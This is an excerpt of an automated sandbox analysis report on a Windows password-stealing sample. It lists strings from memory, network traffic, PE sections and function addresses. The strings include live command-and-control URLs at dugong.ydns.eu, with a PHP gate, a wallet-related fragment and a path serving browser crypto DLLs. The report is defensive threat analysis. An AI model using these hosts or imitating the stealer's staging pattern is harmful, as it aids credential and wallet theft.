Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpApplication
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpB
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpC
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpD
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpe
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpj
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpndary=----GV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpq
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/freebl3.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/freebl3.dllQ
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/mozglue.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/mozglue.dllG
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/msvcp140.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/msvcp140.dlle
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/msvcp140.dllll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/nss3.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/nss3.dlllla
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/nss3.dllllv
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/nss3.dllr
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/softokn3.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/softokn3.dllI
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/softokn3.dllll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001074000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/sqlite3.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//kj2h34kj23h4/vcruntime140.dll
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu/DAK
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu/ata
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689193673.000000007011D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1688844473.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1683995853.000000000561C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1686202186.000000000B64C000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1686202186.000000000B64C000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1686202186.000000000B64C000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1686202186.000000000B64C000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1686202186.000000000B64C000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1472302528.0000000001108000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1686202186.000000000B64C000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.000000000084C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.000000000084C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.000000000084C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1655152135.000000000B896000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.000000000084C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1655152135.000000000B896000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

System Summary

PE file contains section with special chars

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name: .rsrc
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name: .idata
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDDECD0	0_2_6CDDECD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD7ECC0	0_2_6CD7ECC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD8AC60	0_2_6CD8AC60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE5AC30	0_2_6CE5AC30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE46C00	0_2_6CE46C00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CF0CDC0	0_2_6CF0CDC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD84DB0	0_2_6CD84DB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE16D90	0_2_6CE16D90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE4ED70	0_2_6CE4ED70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEAAD50	0_2_6CEAAD50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CF08D20	0_2_6CF08D20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD8AEC0	0_2_6CD8AEC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE20EC0	0_2_6CE20EC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE06E90	0_2_6CE06E90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE1EE70	0_2_6CE1EE70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE60E20	0_2_6CE60E20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE5EFF0	0_2_6CE5EFF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD80FE0	0_2_6CD80FE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC8FB0	0_2_6CEC8FB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD8EFB0	0_2_6CD8EFB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE42F70	0_2_6CE42F70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDEEF40	0_2_6CDEEF40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD86F10	0_2_6CD86F10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC0F20	0_2_6CEC0F20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE868E0	0_2_6CE868E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE6C8C0	0_2_6CE6C8C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE54840	0_2_6CE54840
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE0A820	0_2_6CE0A820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDD0820	0_2_6CDD0820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE9C9E0	0_2_6CE9C9E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDB49F0	0_2_6CDB49F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE109A0	0_2_6CE109A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE3A9A0	0_2_6CE3A9A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE409B0	0_2_6CE409B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDB8960	0_2_6CDB8960
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDD6900	0_2_6CDD6900
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDFEA80	0_2_6CDFEA80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDFCA70	0_2_6CDFCA70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE38A30	0_2_6CE38A30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE2EA00	0_2_6CE2EA00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE86BE0	0_2_6CE86BE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE6EBD0	0_2_6CE6EBD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE20BA0	0_2_6CE20BA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD88BAC	0_2_6CD88BAC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDC64D0	0_2_6CDC64D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE1A4D0	0_2_6CE1A4D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEAA480	0_2_6CEAA480
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD98460	0_2_6CD98460
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE0A430	0_2_6CE0A430
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE4420	0_2_6CDE4420
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE4A5E0	0_2_6CE4A5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE0E5F0	0_2_6CE0E5F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD745B0	0_2_6CD745B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE20570	0_2_6CE20570
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDD8540	0_2_6CDD8540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE84540	0_2_6CE84540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CEC8550	0_2_6CEC8550
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDE2560	0_2_6CDE2560
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE1E6E0	0_2_6CE1E6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDA46D0	0_2_6CDA46D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDDE6E0	0_2_6CDDE6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDDC650	0_2_6CDDC650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDAA7D0	0_2_6CDAA7D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE00700	0_2_6CE00700
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD78090	0_2_6CD78090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE5C0B0	0_2_6CE5C0B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD900B0	0_2_6CD900B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CDCE070	0_2_6CDCE070
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE4C000	0_2_6CE4C000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE48010	0_2_6CE48010
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CD801E0	0_2_6CD801E0
